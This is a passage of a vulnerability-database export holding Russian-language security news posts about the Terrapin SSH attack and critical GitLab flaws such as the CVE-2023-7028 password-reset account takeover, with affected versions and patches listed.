\u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u043d\u0438 \u0441\u0442\u0430\u043d\u0443\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-12-21T10:17:35.000000Z"}, {"uuid": "5117dab2-3818-4ac2-97c4-28f269b0d66d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/3878", "content": "\u200b\u26a1\ufe0f\u0410\u0442\u0430\u043a\u0430 \u043d\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b SSH: Terrapin \u043f\u043e\u043d\u0438\u0436\u0430\u0435\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 OpenSSH\n\n\ud83d\udcac \u0413\u0440\u0443\u043f\u043f\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438\u0437 \u0420\u0443\u0440\u0441\u043a\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0432 \u0411\u043e\u0445\u0443\u043c\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c \u00abTerrapin\u00bb, \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043b\u0435\u0436\u0438\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f (\u0445\u0435\u043d\u0434\u0448\u0435\u0439\u043a\u0435).\n\n\u0410\u0442\u0430\u043a\u0430 Terrapin \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c SSH-\u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u043f\u0440\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434, \u0445\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043a\u0430\u043d\u0430\u043b\u0435, \u0447\u0442\u043e \u0432\u043b\u0435\u0447\u0435\u0442 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0432 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a, \u0431\u0430\u0437\u0438\u0440\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u043d\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u044f \u043a\u043b\u0430\u0432\u0438\u0448, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f OpenSSH 9.5.\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0430 Terrapin \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 SSH \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430\u043c\u0438 \u0438 \u0440\u0435\u0436\u0438\u043c\u0430\u043c\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 OpenSSH \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0441\u044f\u0442\u0438 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434\n\n\u0423\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u043e\u0432\u044b\u043c \u0432\u0435\u043a\u0442\u043e\u0440\u043e\u043c \u0430\u0442\u0430\u043a\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE-2023-48795, CVE-2023-46445 \u0438 CVE-2023-46446.\n\n\u0414\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 Terrapin \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e, \u0447\u0442\u043e\u0431\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u00ab\u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043f\u043e\u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435\u00bb (MiTM), \u0430 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043e \u043b\u0438\u0431\u043e ChaCha20-Poly1305, \u043b\u0438\u0431\u043e CBC \u0441 Encrypt-then-MAC.\n\n\u041c\u043d\u043e\u0433\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442 \u043c\u0435\u0440\u044b \u0434\u043b\u044f \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f \u0440\u0438\u0441\u043a\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 Terrapin. \u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u0433\u043e\u0433\u043e \u043e\u0431\u043c\u0435\u043d\u0430 \u043a\u043b\u044e\u0447\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0431\u043e\u0440\u044c\u0431\u044b \u0441 \u044d\u0442\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u043e\u0439. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b \u043c\u0435\u0440\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0442\u0430\u043a \u0438 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Terrapin, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043d\u0430 GitHub, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u043b\u0438 SSH-\u043a\u043b\u0438\u0435\u043d\u0442 \u0438\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u043e\u0442 \u043d\u0435\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435 , \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430\u043c\u0438 \u0420\u0443\u0440\u0441\u043a\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-12-20T14:29:56.000000Z"}, {"uuid": "21a73492-4aca-43d9-9ce1-6f2dd1a9b5b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4812", "type": "seen", "source": "https://t.me/itsec_news/3978", "content": "\u200b\u26a1\ufe0fZero-click \u0432 GitLab: 5 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f GitLab \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u0430\u043a \u0434\u043b\u044f Community, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f Enterprise Edition \u0432 \u0446\u0435\u043b\u044f\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0440\u044f\u0434\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b DevSecOps (\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0440\u0443\u0447\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u0435\u0441\u043b\u0438 \u0442\u0438\u043f \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u2014 \u0437\u043d\u0430\u0447\u0438\u0442 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b \u0432\u0441\u0435 \u0442\u0438\u043f\u044b.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f GitLab, \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u0438 (10 \u0438\u0437 10 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS) \u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2023-7028 . \u042d\u0442\u043e Zero-Click \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0435\u0451 \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435, \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430, \u0447\u0442\u043e \u0438 \u0432\u0435\u0434\u0451\u0442 \u043a \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438. \u0415\u0441\u043b\u0438 \u043d\u0430 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u0434\u0432\u0443\u0445\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0430\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f (2FA), \u043f\u0430\u0440\u043e\u043b\u044c \u043c\u043e\u0436\u043d\u043e \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c, \u043d\u043e \u0434\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0439\u0442\u0438 \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u0430\u043a\u0442\u043e\u0440 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0417\u0430\u0445\u0432\u0430\u0442 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 GitLab \u043c\u043e\u0436\u0435\u0442 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u043a\u043b\u044e\u0447\u0435\u0439 API \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u0414\u0440\u0443\u0433\u043e\u0439 \u0440\u0438\u0441\u043a \u2014 \u044d\u0442\u043e \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a, \u043a\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438, \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0440\u0435\u0434\u044b, \u043a\u043e\u0433\u0434\u0430 GitLab \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f CI/CD (\u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0438 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u00abAsterion\u00bb. \u041f\u043e \u0435\u0433\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0432\u0432\u0435\u0434\u0435\u043d\u0430 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 1 \u043c\u0430\u044f 2023 \u0433\u043e\u0434\u0430 \u0441 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 16.1.0.\n\n\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438:\n\n16.1 \u0434\u043e 16.1.5\n16.2 \u0434\u043e 16.2.8\n16.3 \u0434\u043e 16.3.6\n16.4 \u0434\u043e 16.4.4\n16.5 \u0434\u043e 16.5.6\n16.6 \u0434\u043e 16.6.4\n16.7 \u0434\u043e 16.7.2\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 GitLab 16.7.2, 16.5.6 \u0438 16.6.4, \u0438 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u043e \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 16.1.6, 16.2.9 \u0438 16.3.7.\n\nGitLab \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2023-7028, \u043e\u0434\u043d\u0430\u043a\u043e, \u043d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u044f\u0434 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0432 \u0441\u0432\u043e\u0451\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 .\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043a\u0430\u043a CVE-2023-5356 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u0438 9.6 \u0438\u0437 10. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f\u043c\u0438 Slack / Mattermost, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b slash \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0412 Mattermost \u043a\u043e\u043c\u0430\u043d\u0434\u044b slash \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c, \u0430 \u0432 Slack \u043e\u043d\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u043a\u0430\u043a \u044f\u0440\u043b\u044b\u043a\u0438 \u0434\u043b\u044f 